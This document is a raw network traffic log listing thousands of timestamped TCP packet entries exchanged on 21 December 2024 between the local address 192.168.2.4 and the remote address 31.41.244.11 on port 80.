                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.131282091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.131330967 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.131407976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.131455898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.132369995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.132417917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.132496119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.132538080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.133424997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.133476973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.133512974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.133554935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.134469032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.134519100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.134567022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.134610891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.135587931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.135633945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.135818958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.135859013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.136801958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.136846066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.136918068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.136969090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.137811899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.137856960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.137900114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.137942076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.138891935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.138936043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.273466110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.273495913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.273554087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.273583889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.274074078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.274105072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.274130106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.274139881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.275130987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.275156975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.275182962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.275194883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.275968075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.276015043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.276164055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.276209116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.277096987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.277143955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.277272940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.277318001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.278189898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.278240919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.278374910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.278420925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.279321909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.279355049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.279371023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.279390097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.280332088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.280388117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.280462027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.280504942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.281655073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.281706095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.281749964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.281795025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.282636881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.282680988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.282742977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.282788992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.283684015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.283740044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.283849001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.283894062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.284790993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.284835100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.284897089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.284940958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.285906076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.285953045 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.286086082 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.286132097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.286998987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.287041903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.287127018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.287173033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.288137913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.288187027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.288227081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.288275957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.289352894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.289405107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.289541006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.289586067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.290332079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.290380001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.290426016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.290473938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.291431904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.291477919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.291548967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.291594982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.292552948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.292599916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.292642117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.292687893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.293663025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.293699980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.293844938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.293893099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.294764996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.294811010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.294883013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.294928074 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.295852900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.295902967 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.296013117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.296062946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.297068119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.297112942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.297199011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.297243118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.298086882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.298130035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.298185110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.298230886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.299303055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.299350023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.299382925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.299429893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.300498962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.300545931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.300574064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.300616026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.301400900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.301446915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.301517963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.301558018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.302546978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.302591085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.302647114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.302689075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.303628922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.303675890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.303709030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.303755999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.304775000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.304816961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.304822922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.304874897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.305876970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.305922985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.305954933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.305996895 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.307056904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.307105064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.307118893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.307162046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.308142900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.308160067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.308191061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.308202982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.309171915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.309216976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.309375048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.309417963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.310260057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.310305119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.310447931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.310488939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.311424971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.311480045 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.311551094 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.311594963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.312495947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.312537909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.312544107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.312591076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.313560963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.313608885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.313638926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.313683033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.314754009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.314800024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.314974070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.315016985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.315785885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.315850973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.315886974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.315946102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.316895962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.316940069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.316982985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.317025900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.318010092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.318056107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.318171978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.318224907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.319106102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.319149971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.319192886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.319236040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.320255995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.320301056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.320334911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.320379019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.321332932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.321360111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.321377993 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.321389914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.322444916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.322489023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.322540045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.322586060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.323734045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.323777914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.323801994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.323844910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.324660063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.324702024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.324850082 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.324893951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.325897932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.325943947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.326044083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.326086998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.326891899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.326936007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.326987028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.327032089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.328207970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.328252077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.328275919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.328320026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.329180002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.329224110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.329312086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.329354048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.330291033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.330337048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.330374002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.330415010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.331465006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.331513882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465465069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465482950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465527058 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465539932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465862989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465912104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.465965986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.466012955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.466119051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.466157913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.467149973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.467166901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.467200994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.467217922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.468193054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.468251944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.468316078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.468358994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.469410896 CET804976031.41.244.11192.168.2.4
